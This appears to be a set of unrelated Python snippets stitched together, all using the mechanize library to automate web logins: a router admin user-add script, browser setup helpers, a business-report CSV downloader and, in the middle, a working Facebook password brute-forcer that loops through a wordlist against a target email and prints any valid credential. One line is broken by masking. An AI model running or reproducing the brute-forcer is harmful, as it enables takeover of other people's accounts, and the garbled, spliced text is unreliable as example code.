def uploadData(name, phone, last): # Browser br = mechanize.Browser() # Cookie Jar cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) # user agent br.addheaders = [( 'User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0' )] # Browser Options br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_handle_redirect(mechanize.HTTPRedirectHandler) br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) # Open website loginPage = br.open('http://192.168.100.1/admin/login.php') # show available forms # for form in br.forms(): # print "Form name:", form.name # print form # enter data br.select_form(nr=0) # only one form br.form['uname'] = 'rang' br.form['password'] = '******' responce = br.submit() responceText = responce.read() if "Beginner" in responceText: print "Login success!" else: print "Login failed! Exiting" return 1 if checkUserDuplicate(br, last, phone) == 1: print 'User already exists.' return 1 adduser = br.open('http://192.168.100.1/admin/useraccess.php?opt=add') # for form in br.forms(): # print "Form name:", form.name # print form # enter data br.select_form(nr=0) # only one form br.form['sName'] = name br.form['sPhone'] = phone print br.form br.submit() #uncomment this to enter into database return 0
def __init__(self): self._br = mechanize.Browser() # Browser self._br.set_handle_equiv(True) self._br.set_handle_redirect(True) self._br.set_handle_referer(True) self._br.set_handle_robots(False) self._br.set_handle_redirect(mechanize.HTTPRedirectHandler) self._br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)
def setup(browser): cj = cookielib.LWPCookieJar() browser.set_cookiejar(cj) browser.set_handle_equiv(True) browser.set_handle_gzip(True) browser.set_handle_redirect(True) browser.set_handle_referer(True) browser.set_handle_robots(False) browser.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) # nexus 5 user-agent browser.addheaders = [( 'User-agent', 'Mozilla/5.0 (Linux; Android 4.4.2; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36' )]
def run(email, wordlist, agent, timeout): now = time.strftime("%X") print (LEGAL_DISCLAIMER) print ("\n[*] starting at %s\n" % now) url = "https://www.facebook.com/login.php?login_attempt=1" regexp = re.compile(re.findall("/(.*)\?", url)[0]) cj = mechanize.LWPCookieJar() br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_equiv(True) br.set_handle_referer(True) br.set_handle_redirect(True) br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) br.set_cookiejar(cj); cj.clear() br.addheaders = [('User-agent', agent)] br.open(url, timeout=timeout) form = br.forms()[0] fp = open(wordlist, "rb") wordlist = fp.readlines() print ("\033[01;34m") msg = "target: " + email; logger.info(msg) msg = "wordlist: %d password" % len(wordlist); logger.info(msg) print ("\033[0m") while len(wordlist) <> 0: password = wordlist.pop(0).strip() msg = "trying credential => {0}:{1}".format(email, password); logger.info(msg) form["email"] = email form["pass"] = password response = br.open(form.click(), timeout=timeout) _url = response.geturl() if not regexp.search(_url) or regexp.pattern not in _url: print ("\033[01;32m") msg = "valid credential: "; logger.info(msg) msg = "email|id: " + email; logger.debug(msg) msg = "password: "******"\033[0m") raise SystemExit msg = "password valid tidak ditemukan di wordlist anda: " + fp.name; logger.critical(msg)
import mechanize import cookielib # Browser Globals br = mechanize.Browser() cj = cookielib.LWPCookieJar() cookieArray = [] globalLogging = False br.set_cookiejar(cj) br.set_handle_robots(False) br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) br.set_handle_redirect(True) br.set_handle_redirect(mechanize.HTTPRedirectHandler) br.addheaders = [( 'User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31' )]
def get_data(account_info, requested_report, start_date, end_date): # Browser br = mechanize.Browser() # Cookie Jar cj = http.cookiejar.LWPCookieJar() br.set_cookiejar(cj) # Browser options br.set_handle_equiv(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) # Follows refresh 0 but not hangs on refresh > 0 br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) # User-Agent br.addheaders = [( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' )] r = br.open(sign_in_url) br.select_form(name='signinWidget') # Let's login ################################## br.form['username'] = '' br.form['password'] = '' ################################## br.submit() print("Logged in.") report_params = { "cols": "/c0/c1/c2/c3/c4/c5/c6/c7/c8/c9/c10/c11/c12", # "sortColumn":"13", "fromDate": start_date, "toDate": end_date, "reportID": requested_report, # "sortIsAscending":"0", # "currentPage":"0", "dateUnit": "1" } req = br.click_link(text='Business Reports') print("Attempting to open form.") br.open(req) print("Link clicked") br.select_form( predicate=lambda f: f.attrs.get('id', None) == 'dwnldFormCSV') br.form.set_all_readonly(False) for k, v in report_params.items(): br.form[k] = v print("Attempting to get data...") r = br.submit() import csv csv = csv.reader(r.read().splitlines()) for row in csv: if row[0].startswith(codecs.BOM_UTF8): row[0] = row[0][3:] print(row) return list(csv)